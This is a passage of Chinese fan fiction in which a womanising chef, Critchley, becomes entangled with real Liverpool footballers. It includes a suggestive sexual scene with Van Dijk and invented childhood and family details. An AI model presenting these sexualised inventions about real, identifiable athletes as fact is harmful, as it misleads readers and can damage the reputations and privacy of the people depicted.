克里奇利呜的一声,刚养好的嘴皮子又被撕扯出一道口子,他抬手摸了一把,也看不见血,他也来了脾气,一把抓住凯莱赫的肩膀把他推倒在门口的椅子上。 克里奇利俯身逼近凯莱赫,借着月光审视这张充满嫉妒愤恨的脸庞,看不到他眼角一抹猩红的色彩,只能感受到他胸脯剧烈的起伏。 “凯莱赫!”克里奇利咬着牙压低了声音,一字一句地质问他,“你发什么神经!现在就我们两个人知道,你打算把他供出去吗?还是任性地认为我想对他怎么样,硬给我扣渣男的帽子吗?” “我不得不承认,你就是长了一张渣男的脸,连我也被你骗了!” “我请问,凯莱赫先生,我们是不是已经已经成年了,还有,我是阅人无数,不谈关系我是不是和你说过!” “……”凯莱赫一时无言以对,那天晚上,他的确在做事之前提醒过自己,可那又怎么样,箭在弦上谁还考虑那些。 凯莱赫嘟囔了一句:“你真的是无药可救,可悲可笑。” 以为他会让让自己,不再提醒自己那不过是一夜情而已,谁要是认真谁就输了,可是,克里奇利突然认真起来,再次向他摆明了人生态度,“欣赏沿途的风景还是稳定下来靠岸你也可以选择,你选什么?” “我…我…”凯莱赫突然被他问住了,这时自己引以为傲的小勇敢突然不管用了,这真的是一道世纪难题,如果自己选择稳定下来就能和他谈恋爱吗?就算他答应了又如何,自己能轻松驾驭他吗?万一暴露了怎么向公众交代?现在,连个2号门将都坐不稳呢,拿什么给人安稳? 就在他左右为难的时候,扑通一声从长沙发那边传来巨响,紧接着又是一声“哎哟”的惨叫。 克里奇利赶紧去开灯,凯莱赫也短暂脱离了他的掌控,一个箭步跨过去,原来是索博翻身掉在地上了。 这一摔把他摔醒了,吐的胃里都空了,这会酒也醒了大半。 他看见凯莱赫在这,惊讶的问他,“我的射门又被你扑了?” “扑了!笨蛋!喝这么多,能射进才怪!”说着,凯莱赫打了他头一下。 克里奇利看着他们,不?*? 知说什么好。 索博斯洛伊环顾了四周的环境才回过神来,这不是在绿茵场上,而他也没有打门,那这是哪? 凯莱赫把他扶起来,重新放到沙发上,还瞪了克里奇利一眼,心想刚才忙忙活活的跟伺候病人似的现在怎么不献殷勤了。 顺着凯莱赫的目光索博这才发现门口还站着个人。 “克里奇利先生……”他记忆一点一点回笼,好像之前在厕所有人让他开门来着,后面发生了什么就不记得了。 他不记得的有人帮他复盘。 凯莱赫带着批评的语气对他说:“你喝多了,是他把你从厕所捞回来,又是他把你带到这里来,你要是再不醒他就要把你送去医院。” 克里奇利刚和凯莱赫吵完架,这会又被他卖了个人情,有点不知所措,他去衣橱里拿来衣服穿上,再找一件索博能穿的。 翻衣服的时候就听凯莱赫嘴像没有把门的一股脑儿地把刚才发生的事全都说了。 他说:“你还吐了他一身,还把他当女朋友亲,你都忘了?!” 克里奇利听了好像被刺了一下,不满地把手里的衣服扔向凯莱赫,被他机敏地一把抓住。 气氛无比尴尬。 这时,克里奇利手机响了,是阿诺德问他有没有看见索博和凯莱赫,晚餐快结束该送客了。 他说他们三个在一起聊天一时忘了时间,这就回去。 挂了电话,他面色尽量保持平静地对他俩说,“回去吧,不记得的事忘了就行,不用费脑细胞。” 索博是真的想不起来自己还做过那种事,现在被凯莱赫当面戳穿别提多那个了,这要是酒后赛后亲队友也就罢了,只当是打打闹闹,怎么能对如此彬彬有礼对自己客客气气的克里奇利先生这么冒犯呢,自己简直是丢人丢到家了。 他抓着凯莱赫的手借力站起来,跌跌撞撞地走到门口,对克里奇利说了声抱歉,让你见笑了。 克里奇利对他笑了笑说我可没笑,你(们)这个年纪正常,谁没失过恋喝多过啊。 他俩相视一眼,同是26岁的年纪好像被这个长几岁的过来人给摸头杀了。 凯莱赫路过他时伸手捏了他的腰,表达自己也被他小看的不满。 回到座位上,索博一直处于发懵的状态,不说话也不吃东西,大眼睛盯着凯莱赫看思绪却不知道飘哪去了,还时不时的一边摇头一边发出叹息。 凯莱赫不理他,一直跟范戴克小声嘀咕些什么,范戴克一惊一乍的跟听鬼故事似的,眼神在凯莱赫和索博之间瞟来瞟去,最终落在给他们上果盘的克里奇利身上。 其实他们已经用餐完毕了,正准备穿衣服离开,克里奇利把一个精致的水果船拼盘放在桌上,就摆在索博的面前,然后笑着对大家说,“吃点水果解解酒,不然回去难受可别怪我招待不周。” “切!”凯莱赫伸着大长胳膊从离他老远的果盘里拿了一块菠萝,使劲嚼着,菠萝酸甜的汁水在他口中炸开,然而他的情绪像过滤器把甜的滤掉只咽下了酸水。 索博知道他的好意,刚才喝的断片了肯定把他吓的不轻,真不应该,更不应该的还藏在那些声声叹息里,他也拿了一块红心火龙果塞了一嘴,听话地用来解酒,但是依旧处在醉酒状态里的嘴巴舌头过于麻木,让红色的火龙果汁又流到了身上。 该死,这件Prada的白T恤又被自己糟蹋了。 终于把他们送走,克里奇利照例帮阿诺德收尾,想要跟他请辞,但是他们都一个个黏黏糊糊地抱着不肯结束这令人愉快的晚宴,克里奇利一时也没插上嘴。 等明天有空再说吧。 他关了店门,正打算离开,这时天空淅淅沥沥下起了小雨,他忙活了一晚上,被索博吓了一跳不说,还被凯莱赫劈头盖脸地骂了一顿,摸摸嘴唇还嘶嘶拉拉的疼,心里总觉得不太是滋味。 雨越下越大,他站在屋檐下抽根烟等着雨小一点再走,可是这雨好像要跟他作对似的,直往他头上潲。他只好回到餐厅,大厅都是酒精饭味儿开了紫外线杀菌不能呆人,于是他一个人跑到后门的巷子里,坐在阳伞下的咖啡椅上抽烟解乏。 不知道抽了第几根烟,巷子尽头一个男人打着一把伞向他这边走来。 皮鞋磕在地面发出咔哒咔哒的响声,像极了球鞋踩在地面上的声音。 那人目测190公分以上,身型壮硕,宽肩窄胯,大伞遮住了他的脸,看不清容貌。 但应该是专程来找他的,克里奇利烦躁的心又平添了几分不安,利物浦带给他的不仅仅是漂泊的倦意还有一种多事之秋的感觉,他心里希望这不是个不速之客。 第94章 “某些人来利物浦以…… “某些人来利物浦以后过的很尽兴啊!” 那人带着熟悉的英语腔调,尾音微微上扬,声线粗粝性感,他漫不经心地收起雨伞扯过一把椅子潇洒落座,抬起眼皮看着灯光下那张冷白清俊的面容。 克里奇利这才看清,他梳着光滑油亮的发髻,脸瘦长,肤色较深,虽不是一打眼美男子,却很耐端详。 “马马虎虎,范戴克先生。”他吐出一口烟雾,浅浅回应道,心里却纳闷儿这怎么又一个等着见他的,和凯莱赫一个路子。 “呵…你很累了吧。”范戴克的语气中听不出什么情绪,但明显不是关心他的意思。 “嗯…还能再打两把扑克牌。”克里奇利说完就打了个哈欠。 “你看上去…”范戴克手指敲了敲桌子,意欲不明的想要探索些什么。 “不错?糟糕?还是什么?” “很迷人。” “呵…”克里奇利松了一口气,得知范戴克不会是要那他开涮或是开刀,下意识递过去烟盒。 范戴克本来不吸烟的,犹豫了一瞬,还是选择伸手去接,克里奇利却好像突然想到了很久远的一幕,刚想说你们运动员不吸烟我忘了,烟盒已被他接过去了。 克里奇利只好向前倾身给他点燃,准备倾听他接下来的话题。 可范戴克不语,只是一味吸烟,好像和他在夜色中一起等待雨停之后的事情。 两个人各怀心事。 他称赞自己很迷人是什么意思,也迷倒他了吗?克里奇利对自己依旧自信满满,但是他能感受到范戴克带着一丝教训的意味,他等着自己下班,绝不是只为了夸自己一句迷人吧。 果然,范戴克吸完这支烟,才开口问他,“克里奇利先生,你认识凯莱赫多久了?” “嗯…三天?也许要长一点,三天半。” “我认识他8年4个月零2天。” “哇哦!那可真不短了,你记忆力可真好。”克里奇利不知道称赞的对不对,但他隐隐约约知道接下来将面临什么样的拷问。 “我认识他的时候,他还是个小孩。他比我还早3年来利物浦,在我看来他和阿诺德没什么不一样,都是利物浦太子。” “嗯,他的确很优秀。” “他很努力,技术也不错,现在正是展现自己的时候,这个赛季我们队已经确定让他首发参加联赛杯了,这对他来说非常重要。” “是吗?”克里奇利有点犯困,他还想再抽一根,捏了捏烟盒发现空了,于是抱起双肩准备舍睡陪君子,其实不难猜到接下来范戴克会对他说什么。 “他最近不正常,训练中常常走神,要知道集中注意力对一个门将来说有多重要,而且他和我聊的全是关于你的话题,所以,请原谅我多管闲事,我想问你,你们在交往吗?” 克里奇利虽然做好了被他盘问的准备,但没想到他问的够直白,转念一想,范戴克老大不小了,荷兰人,不难看出凯莱赫这小子状态不对。 克里奇利也发现凯莱赫这几次见面都是欢欣雀跃的来,郁郁寡欢的走,好像想要得到什么又因为知道自己一定会失败而心有不甘继而越挫越勇。 “没交往。”他如实回答,心里升起一丝不快。 “你确实衣冠楚楚,相貌堂堂。” “不止这个,范戴克先生,还有你情我愿,互不干涉。” “可你不觉得哪里不对吗?” “对不起,我很困,我先走了,你请便。” 克里奇利不想被说教,也不必给他面子非要强迫自己在黑漆漆的巷子里受冷风吹,主要是烟盒空了,没什么能留住他。 他站起来双手插兜,不管雨大雨小,一头扎进迷离的夜色中。 他走的很快,也没回头,再呆下去估计范戴克就不是这么温和的和他讲话了。 他倒不是害怕范戴克,他对他也没什么好交待的,想当初在德布劳内父亲面前也没收敛这副吊儿郎当的做派,在“情敌”阿诺德面前也没落了下风,该办的事一样也没落下,还能叫只见了两面的范戴克吓住了? 然而他现在不知是对利物浦太陌生还是自己漂泊的太随意,反而让自己处在那种左右不是人的境地,没什么底气和范戴克较劲。 他感觉对不起凯莱赫,刚刚在休息室里还对凯莱赫动粗,小猫有什么错,他只是任性地想干嘛干嘛就是了,人为什么要训猫呢?人就做的很好了吗?猫想领养人猫有什么错? 刚走出没几步,头顶就被一把大伞给遮住了。 范戴克追了上来,为他撑伞和他并肩往前走,雨势不小,两个高大威猛的人挤不下这么小的空间,雨水很快沾湿了他们另一边肩膀。 “如果你要劝我离开利物浦,就免开尊口吧,我打算明天就走。”克里奇利主动出击,不给范戴克劝退的机会。 “也不是这个意思,我没那个权利,你在利物浦想带多久都行。” “还有,我会离开凯莱赫,不用你说。” “这个嘛,我也管不着,我只是出于为队伍考虑,如果冒犯你了,还请你原谅。”范戴克以退为进,但目的在克里奇利看来已十分明显。 “你为队伍考虑,有人为我考虑吗?” 克里奇利突然被戳到了痛处,也许是夜色太深,雨又无情,也许是他心情烦闷正好被范戴克碰了钉子,想也没想的就冲他去了。 “你有什么难言之隐可以对我说,我今晚不是来找你麻烦的,我只是想了解一下,将来给凯莱赫做做工作,当然,你要是配合的话,那再好不过了。说的直接一点,你喜欢他就和他说,别吊着他,你要是不喜欢他也趁早和他断了,省的麻烦。” “范戴克,你有完没完?”克里奇利突然伸手推了范戴克一把,范戴克向后退了几步,伞也歪倒在一边,两个人直直站在雨中对峙。 不知道怎么了,克里奇利压不住情绪,怒火中烧,但因为大雨的缘故,火苗都被浇灭反而有种想哭的冲动。 他脸上流淌过温热,分不清是什么,总之,一个来去潇洒,从不因噎废情的他此刻像是炸毛的狮子,但凡范戴克再进一步,他就要和他较上一轮劲。 “我就是这样的人,从不为情买单,谁要爱上我那是他的事,我只管风流快活,当然了,每一个被我服务过的人还没有给过差评,你要想试试也行,不过先排个号。” 此话一出,他能想到范戴克会被激怒到什么程度,不过,他不是想保护凯莱赫吗,不是想充英雄扮成熟吗? 来吧,反正自己除了一身情债也没什么好夺去的,想要自己有什么觉悟还轮不到他来干涉。 “我知道你是伦敦蝴蝶大道有名有姓的珍稀动物,包括我回国家队也听说了,现在回到俱乐部又有人和我说,你多么有本事,可是,你有没有想过,你只当别人是过客,你可是占据人家心里好大一部分呢,像你这样玩完以后抽身离去不管不问的能有几个?” “哎哟!范戴克,你怎么不去当社区管理员呢?那些烦人的倡导家庭和谐的机构派人来我家,巧了,每次都赶上我在运动,每次都是不同的人,我的小受们,他们怎么就没这么多事,还需要一个大家长来指导怎么约会吗?下次我和凯莱赫约会的时候叫上你一起,你看如何?” 他把所有的坏情绪如火山爆发般撒给了这个看上去温和老实的男人。 男人咬了咬牙,似乎没有什么更好的措辞来反驳他,但是看到雨中咆哮的他,神色不卑不亢,身形却在微微晃动,范戴克扔了雨伞,上前抓住了他的衣领。 他也不甘示弱,反握住范戴克的手腕,两个人扭打在一起,后背双双贴在冰冷的墙面上。 但是无论克里奇利怎么摔打他,他都丝毫不动,也不还手,克里奇利使出小时候练的摔跤的本事,硬生生把高大的范戴克给摔在泥坑里好几次。 但是他不能伤害范戴克,只不过是想要摆脱他,那也累的他上气不接下气,最后想要脱身的时候被范戴克使了个绊摔,差点扑在地上的同时被范戴克又给拽住了。 但是他脚底下已经不稳当,还是一下子坐在地上,连同拽倒了范戴克,后者结结实实压他身上去了。 “呃啊…”他闷痛出声,腰要断了,但后脑勺好像躺在了什么绵软的东西上,睁开眼睛看看,原来是范戴克倒地的时候,用手垫在了他头后面,不至于磕伤了头。 这打的哪门子的架?互相撕扯双双不敢让对方受伤。 “呵呵…哈哈…哈哈哈…”克里奇利病态的笑出声来,心想这都是些什么事啊?自己不想找麻烦,却偏偏被麻烦找上门,真踏马该就地出柜,让那些对他抱有幻想的人好好想想,到底有没有那个魄力敢和他对弈一个来回,如果没有,趁早也别进他碗里,也就不用有些爱操心的人来给他上课试图扭转他这么多年的价值观。 他心里想着,接着毫不客气的去抓范戴克的腰带,他说,“你要在这试试也行,我随时随地都可以。” “布莱恩.克里奇利!”范戴克终于火了,他一把拉起躺在地上的人,握住他肩膀,一字一句地说给他,“你不要认为有伴侣,有家庭是什么可怕可笑的事,也不要认为那些小受都和你一样不在乎情感道德,你这是在犯罪,你知道吗?” “我犯什么罪?可笑,你报警啊!这是英国,不是荷兰。噢我的天,荷兰更不管这些事,可笑吧,范戴克先生,既然你看的这么通透,我也可以大方一点,让你试试。” 范戴克忍无可忍,实在是见不得这样一张美到惨绝人寰的脸却满嘴都是污言秽语,再和他打下去估计真要赔了夫人又折兵,自己也要被他给拿下,真的想试试传闻中的克里奇利到底有什么异于常人的本事。 现在,骑虎难下的反而是自己,确实如他所说,凯莱赫都还没说恨他,自己跟着掺和什么劲儿呢。 可是,冥冥中他又有所感应,克里奇利并不像表面上那么强硬和无赖,他好像有什么委屈要寻求一个出口,不妨等冷静下来好好了解一下,说不定可以帮助两个人都能顺利的走出来。 不,说不定是三个人,刚从国家队回来,德容还跟自己说过,克里奇利的厨具还在他家放着没人会用呢。 第95章 第二天,克里奇利想…… 第二天,克里奇利想走也走不了了,他浑身酸痛,连下床的力气都没有,伸手去拿手机还把温度计碰掉了,碎了一地水银和玻璃碴。 幸好手机没掉可以让他打个电话求救。 他拿起电话来却不知道该像谁求救,这淋雨导致的感冒发烧没要他命,水银挥发不至于要了他小命吧? 还没等拨出去,一个陌生号码打了进来。 “喂?”他的嗓子像吞了一个刀片,光是出个声就疼痛无比。 “克里奇利先生,我是索博斯洛伊。” “噢…咳咳…” “你怎么了?听上去不太好呢。” “我很好。”克里奇利不假思索的说完又突然觉得不是很好,于是改口,“不,我不太好。” “你昨晚淋雨了吧?” “嗯…”不仅淋雨了,还被一个神经病给摁在水坑里洗了冷水澡,最后强行把自己给送回来,又一语不发的走了。 “感冒了?”索博关心的问他。 “害,谁知道下个雨还能浇感冒了,真是糟透了,我本来今天要走的。” “走?去哪?” “回德国啊,我都在外面漂泊多久了。” “哈哈…英国本来不就是你的家,说的好像你在异乡似的。” 是啊,英国本来就是他的家,可离开伦敦以后他就居无定所了,现在感觉慕尼黑才是他的家,因为有他大哥凯恩在,他大哥一点都不嫌弃他,也不看扁他,更不会动不动就说教他。 “总呆在这也不是办法,我也有自己的事情呀。” “不行,你不许走!” “嗯?”克里奇利纳闷儿,索博打电话来就是让他不许走? “明天是我们和曼城的英超争顶赛,我想你可以留下看我们的比赛。”索博向他发出了邀请。 “我知道,我给谁加油比较好呢?”他怎么会不知道这么大的赛事呢,他本来也是想着在比赛之前就走的,没想到又拖了好几天。 “我不管,你爱站哪个队站哪个队,但是我给你留家属票了,你加油的名单里必须有我!” 没想到他要以家属身份去看英超比赛竟然是作为索博斯洛伊的家属,这让他尴尬万分。 “唉…我不是不想去看你们的比赛,我现在有心无力,可能要被水银给控在床上了。” 索博终于知道他现在卧床不起,还摔碎了体温计,挂了电话一路狂飙来到他住的酒店,一进门就一边拉开窗帘打开窗户,一边询问他有没有受伤,又扶他躺下,搞得克里奇利很想笑,昨晚这样忙忙活活的放他躺在沙发上今天就换过来了。 “叫了客房服务了吗?” “叫了。” “那就好,你现在想吃点什么?我去给你买。” “不用,谢谢,我什么都不想吃,而且刚才已经和酒店确认了晚点再送。” 索博不来也行,这是高档酒店,有钱什么都可以办,但是他就是想为他做些什么。 他从沙发,床头橱,地上一边走一边沿途收捡脏衣服,当他揪着内裤时搞得克里奇利没眼看,遂拿被子挡住脸冲他弯了弯眼睛,一向浪的连底裤都不剩的他面对直男的关怀还不好意思了,但藏起下半张脸眯眼的举动涉嫌卖萌。 索博抱着脏衣服出了门,送进洗衣房,回来又烧上水,给他泡了一碗方便面。 克里奇利趴在床上,迷迷糊糊地听着他做这做那,也没什么力气去叫他不用做这些。 还是泡面的香味无法抵抗,把他从迷糊中叫醒,他撑起身子坐在床上,说了一句好香啊,接着就要下床,没想到索博端着泡面就送到了他的眼前。 他感到受宠若惊,不接的话他就会亲自喂到自己嘴里的架势。 他说了声谢谢,伸手接过来放在床头橱上,在索博关注的眼神中小心翼翼的打开盖子,吃了几口。 从嗓子到胃都暖起来了。 他吃着泡面突然觉得有点好笑,还问索博你吃吗。 索博说我吃过早饭了。 这时送餐的机器人来了,索博从门口拿进来发现是三明治和牛奶,于是有些不好意思的说,“要不你别吃泡面了,不健康。” 他赶紧伸手护住,说,“不不,我就想吃这一口。” 索博知道自己在这没用,房间都被打扫干净了,酒店也有送餐服务,但衣服还没洗完烘干所以他也就顺理成章的留下来,和克里奇利说起明天的事。 “你今天好好吃药休息,明天我派车接你,答应我好吗?” 答应他去看球又没什么难的,只要自己能爬起来,但是作为家属就有点不太合适了,本来凯莱赫看索博亲自己就来气,还再给他添堵吗,何况明天不是跟别的队,是曼城。 曼城的小伙伴们看见他倒戈去了利物浦一准要讨伐他的。 他说:“谢谢你的好意,我还是不去了吧,我在酒店看电视一样可以给你加油。” 索博突然伤心起来,用一种讨要食物的小狗眼盯着克里奇利看,这种眼神谁能受得了,反正克里奇利是受不了。 他说:“本来是留给我女友的票,现在吹了没人来这票就浪费了,再说我也想表达一个歉意,你不能不给我面子。” 克里奇利说:“要我扮演你女朋友吗?留长发是来不及了,续须倒是可以。” 惹得索博又捧腹大笑。 他说,“你不用扮演我女友,你穿上我的球衣就行!” 说着,他从背包里翻出一件红色的利物浦8号球衣,上面印着他的名字,不由分说地塞进克里奇利的怀里。 克里奇利手里捏着球衣,脸热的要命,不知道是不是又烧起来了。 索博不仅脸热,身上也热,他说,“昨晚的雨太大了,不止是你,范戴克都感冒了没来训练,我也是说我不舒服请了一会假,我去把你的衣服拿回来就去上班了,这事就这么说定了!” 他慌慌张张的跑出去,不一会就抱了一堆衣服进来,一件一件的挂进衣橱里。 克里奇利叫他不用对自己这么好,搞得跟欠了他多大人情似的。 他说就是欠你的,你的衣服我还没洗干净还给你呢。 克里奇利说一件衣服而已还什么还,没有你这件签名球衣贵。 索博低下头不好意思地笑,心里想克里奇利真会说话,他真的超级好,又帅又幽默,还有种羸弱的美感,他对着克里奇利yy了一会,接着打了几个喷嚏。 克里奇利让他走,说,“别传染你,明天的重头戏还指望着你呢,我可不想看你输。” 索博这才放心的笑出声来,他说,“你答应了啊!明天我可能没时间和你见面,我会安排好的,一定要出现在家属席啊!” 送走他,克里奇利陷入了迷茫,答应他去不难,但不想看他输,难道看曼城输?那个倔强的大猫肯定不会轻易放过利物浦,要是发现他穿着红衣站在红/军队伍里为了红/军的胜利而庆祝,一准要气死了,克里奇利不想让那个金毛小猫失望,也不想让这个深情小狗失望,不用想明天一准是一个左右为难的局。 别说,续须还真的可以,两天不刮不说长的跟格瓦迪奥尔似的,也和索博斯洛伊有的一拼。 他爬起来站在镜子面前,摸着自己硬硬的胡茬,满意的笑笑,内心直夸自己是个大聪明。 他也能想到约他去看球的不会只有索博一个人,但没想到的是范戴克竟然也打电话邀请他去。 虽板着脸不想说话,但一个比一个嗓音沙哑努力讲话的样子还是逗笑了想要扮高冷的厨子。 范戴克一句话清了好几次嗓子,他说,“我们教练听说你来利物浦了,想邀请你来助阵,当然作为我本人,希望你不要因为和我的别扭而拒绝这次邀请。” 怎么,他要是不去就是小心眼了?克里奇利在心里翻了个白眼,他说,“你们教练的面子可能还不如你面子大,你要是给我道个歉,我就去。” 范戴克一阵剧烈的咳嗽,嗯啊了半天说不出话来。 他想了想说:“昨天先动手的可不是我,再说我也没说什么。”声音小到听不清,但就是不道歉,接着又说,“反正凯莱赫一会也要亲自打给你,我劝你赶紧答应我不要不识抬举。” 他是笑着说的,避重就轻好像很有策略,其实带着明显的局促和羞怯。 克里奇利不知道自己为什么就喜欢拿捏着老实鲁莽的范戴克,回想起昨晚自己也很失态,最后还是被他强行塞进车里,一语不发的送回来,又重重的拍了拍自己的肩膀,好像那就是道歉了。 什么都没说,他可真能忍,明明就是想试探自己的底线,教育自己再为凯莱赫打抱不平,怎么,不试试还真怼不回去他,应该让他也知道,自己没有底线,底裤都没有,来一个炒一个,来一双炒一双,想劝自己收心谈一对一的感情,做梦! 克里奇利说:“我有点冷,需要一个超大的暖炉来取暖,不然我走不动,就去不了现场,也就没法答应利物浦教练和利物浦太子的邀请,怎么办吧,大象先生?” 大象先生?范戴克都懵了,自己有那么大只吗?自己的确很大只,但大归大脑子又不傻,这么明显的反向邀请,怎么能听不懂。 他说:“好,不过这事你知我知天知地知,就当我为利物浦赌一把。” 克里奇利笑得都快喘不过气来,直挺挺的往后一躺,不料实木床头磕了头顶一下,嗷一声惨叫像极了兴奋的嚎叫,一嗓子把电话那头的范戴克给喊冒烟了。 第96章 厨子想吃的就没有吃…… 厨子想吃的就没有吃不到的。 大象是野生保护动物,一口吃一个大象试问谁能做到?诶?偏偏大象主动找上门来,把自己脱光,站在磨刀霍霍的厨子面前,不怕他庖丁解象,只为他能卖自己一个面子,为了球队着想真的是不惜一切代价。 克里奇利又不是神,他服务过的队伍都夺冠了是无巧不成书,他睡了利物浦的人,利物浦就能强势拿下曼城吗?何以见得。 范戴克就是有私心罢了。 但是厨子很高兴,不知道为什么,就是高兴,一个试图说教他不让他搞一夜情的人要来提供一夜情,光想想就让他颅内gc了。 得知范戴克晚上会来,他除了没刮胡子之外其他方面做足了准备。 比如烘托氛围的甜品,蜡烛,代替红酒的葡萄汁,还有必备调情小物件。 让这个大言不惭的荷兰人见识一下什么是上帝送给txl的礼物,势必让他终生难忘。 可是范戴克来了,尴尬的问题也来了。两个top,还得再打一架。 这次是在床上打架。 打着打着,范戴克就说,今天我生日,你就不能让一下? “噢?生日啊,来来来,我给你过个生日。” 克里奇利正好准备了蛋糕,他问他多大,范戴克说34,克里奇利一想噢,和那个大美猫一年的,而且他们好像还是亲密无间的朋友。 克里奇利一边感叹着人生匆匆,错过了也就错过了,一边插上了34根蜡烛,再一个一个点燃。 34根原来这么多呀。 “快吹,一会把房子点了。” 范戴克难绷,这得多么老,蛋糕上像插了一个火炬,他怀疑被这个一脸兴奋的家伙给整蛊了。 生日过完了,克里奇利也没有要让身位的意思,他说,“你要是想知道为什么和我slept的人都会臣服于我,我会告诉你答案。” 范戴克摁着他不松手,凭借较大的体型一度占据上风。 克里奇利当然也不是吃素的,他把范戴克梳的板板正正的头发给抓乱了,手指伸进他的发丝里,松一下紧一下的抓握,忽地扣住他的后脑勺,把他压在自己的唇面上。 热烈蓬勃的吻让荷兰人很快就迷失了自我,迅速消沉在爆发力十足的进攻中,让他短暂的忘记了自己是个世界级后卫。 一开始还稍显拘谨克制的荷兰人很快就被娴熟的吻技给攻城略池,孤单寂寥的心情像海边的沙滩被一波又一波浪潮给填满,在无边的黑夜点燃了金色的火焰不断回应着对方的那份渴望。 为了这次约会,克里奇利没吃感冒药,他一直认为感冒药镇痛药会削弱他的气势,让他看起来不够威猛,但感冒的症状还是对他造成了一些困扰,让他在动用力气时有些呼吸急促。 那些颠簸的喘/息在空荡的房间里显得更加晦涩动情。 两个人都发着低烧,烫的对方无处可逃又不想逃。 …… 克里奇利温暖宽厚的肩膀环着一个比他还略宽的栗棕色大个儿,贪婪又满足的对他说,“你知道我们一起睡觉我有多开心吗?” “我不知道。”自来卷散落下来的范戴克看上去很温柔,他的五官其实更秀美,甚至有些女相,越看越惊艳。 “你不知道?” “是啊,你又没表现出来有多开心,只是在认真做事。” “我是担心你突然反悔,我很怕你觉得我后劲不足给我打个差评。” “你感冒了,可以理解。” “什么?你真的认为我后劲不足?” “哈哈…没有,你足,你超级超级厉害!” “我很怕你又要教训我说我是个骗子,其实我很想把所有的爱都放在每一次行动里。” “嗯,我感受到了,你用力爱的样子的确很迷人,放心吧,我不会再说教你,也不会再给你压力,你想做什么就去做,这么多年你都这样过来了,如?*? 果因为我的不理解而改变,也未必活出你想要的样子来,说实话,我估计和你有过交情的人大部分都是迷恋你潇洒,前卫,性感的不顾一切的样子。 “不,还有我的技术。”克里奇利自信的脸闪着光。 “哈哈…你可真要命!” 生病也开了猛火的克里奇利现在脸上红一阵白一阵的,他歪了歪身子,换了一个角度继续亲吻他,亲着亲着就被他按住额头压在床上反过来享用。 “你累了,换我。”范戴克支起胳膊把他困在臂弯中,低头含情脉脉地看着他。 “你别想占我便宜。”克里奇利抬手拨了拨他的头发,“你的生日根本就不是今天。” 范戴克愣了一下,笑着俯身亲了亲他的嘴角,说,“那你还给我过生日。” “哄你开心,维吉尔。”克里奇利的大手搭在他的后背上,来回摩挲着,“这份礼物希望你喜欢。” 范戴克以为他从了,要把自己当成迟到的礼物送给他,但他还是想多了,这个天赋异禀的家伙实在是狡诈,就在自己稍微走神的一瞬间,就被他把控了,力道不急不缓不轻不重刚好让他发出一声难耐的低吼。 来自经验丰富的老司机的小小奖励罢了。 没有人可以哧身衤果体的站在冷雨里拒绝一条温热毛毯的裹覆。 何况是命脉之吻。 …… “你长的一副细皮嫩肉的小白脸模样,没想到这么嚣张,连我都敢挑战。”范戴克捏了捏他的脸,又撩起他的下巴,目光中有些依依不舍。 “呵…你是说昨晚我抓你裤腰带时说的话吗?” “嗯,你真是一个狠角色。” “这有什么,不过我没想到你今天竟然这么主动,我以为我看错了,你对我不感兴趣不说还会唾弃我这种人。” “我哪有资格唾弃你。”范戴克的眼神蓦地暗下去,很多心事浮了上来。 “噢?”克里奇利摸着他的手臂想听他说下去。 他们坐在床边晃荡着光滑的小腿。 范戴克深吸了一口气,开启了尘封已久的故事,“小时候我给人家刷盘子一小时赚30块,差点饿死,要不是我的教练看我是块踢球的料子把我送进青训营,我可能都养不活自己,我又有什么资格瞧不起别人。” “别这么说,怎么活都是活,谁又比谁活的精彩,不过是一日三餐,再说现在生活很好,能享受则享受。” “是啊,所以我现在反而很羡慕你,可以活出自我,那个时候我真想死。” “……”克里奇利看他情绪低落,心想不会他也经历了那些糟烂的日子吧。 “我父亲在我很小的时候就抛弃了我和妈妈,为了活下去,我不得不出去打工,从那时候起我就发誓要赚钱,赚很多的钱养家,可是我进入训练营以后因为营养不良一直长不起个子,连替补都踢不上,后来我教练资助我叫我不要放弃,接下来的两年我从170公分长到了190公分,终于成为了一个靠得住的中后卫。” “你很了不起,维吉尔。” “谢谢你叫我维吉尔,也是从那时候开始,我的球衣不再有范戴克这个姓氏,我讨厌这个姓氏!” 他说着说着眼眶就湿润了,接着顺其自然的弯下腰来轻轻的依靠在克里奇利的身上,和他差不多高大硬朗的男人伸手抱住他,给了他一个厚重瓷实的拥抱。 克里奇利一边拍着他的背,一边语重心长:“过来了就好,学学我,不要停留在过去。” 其实范戴克又怎么会不知道,克里奇利的拥抱中隐藏着多么至深至痛的回忆,他趟过的那些路绝不比自己的要容易到哪去。 他们从互相看不惯到试图了解对方再到成为惺惺相惜的朋友只用了不到24个小时。 克里奇利答应他自己一定会去看这场堪称国家德比的比赛,无论输赢,都会为他感到骄傲。 * 比赛日,克里奇利如约出现在利物浦的家属席上,因为太多人给他家属票他拒绝不过来,只好全都答应下来。 他没穿索博的球衣,只是拿在手里,必要时用来挡挡脸。 不过他胡子续的很好,加上头发没有抹上去而是垂落下来遮住了大部分额头,再带个墨镜看上去像个没进化好的野人穿越了。 就是这样一副邋遢样儿,索博还是一出场就认出他来了,并冲他挥手致意。 他再次拎起球衣挡住半张脸,只露个墨镜在外面,那也被机灵的凯莱赫给认出来,从替补席上剜了他一眼,别人不知道他还看不出来,拿着8号球衣的“家属”肯定不是索博斯洛伊的女友啊,就是那个敢撩直男的大尾巴狼。喵了个咪的,自己怎么就没想到给他一件绿色的62号门将球衣呢?唉62号是什么号啊!拿不出手都。 索博站队唱队歌的时候眼睛一直望向家属席,目光中有星星在闪动,遵守诺言的就只有他,我要用一粒进球来向他证明,我会永远记住这份情谊。 克里奇利的眼睛哪在球上,他看着蓝月军团和红军利物浦硬碰硬,来来回回互戳痛处,没有人情世故,见面了就是干,看的他如坐针毡,恨不得冲上去阻止这场比赛。 手心手背啊,谁失败他都难受。 德布劳内差一点就从范戴克身上高位逼抢跑出机会,而范戴克没给好朋友面子,用身体对抗将球拼抢下来。 两人撞了个满怀。 索博斯洛伊杀入禁区面对格拉利什协防,起脚怒射,打在福登身上,福登脸色煞白,半天才站起来。 鲁本迪亚斯被阿诺德犯规倒地,格瓦迪奥尔补防又被萨拉赫撞倒,B席跑过来解围不小心绊倒了萨拉赫,两人发生冲突,场上火药味渐浓。 克里奇利看的手心直冒汗,手里的球衣都攥出了十个手指印。 第97章 比赛上半场…… 比赛上半场0-0保持着平衡,两队都闷闷不乐的往球员通道里走。 站了40多分钟的克里奇利刚要坐下歇会,就看见曼城的球员从自己正前方走过来,他刚要举起那件红色球衣挡住脸,又觉得球衣太过于醒目,就在他琐碎的小动作无处安放时,就被一双蓝宝石眼睛给看了去。 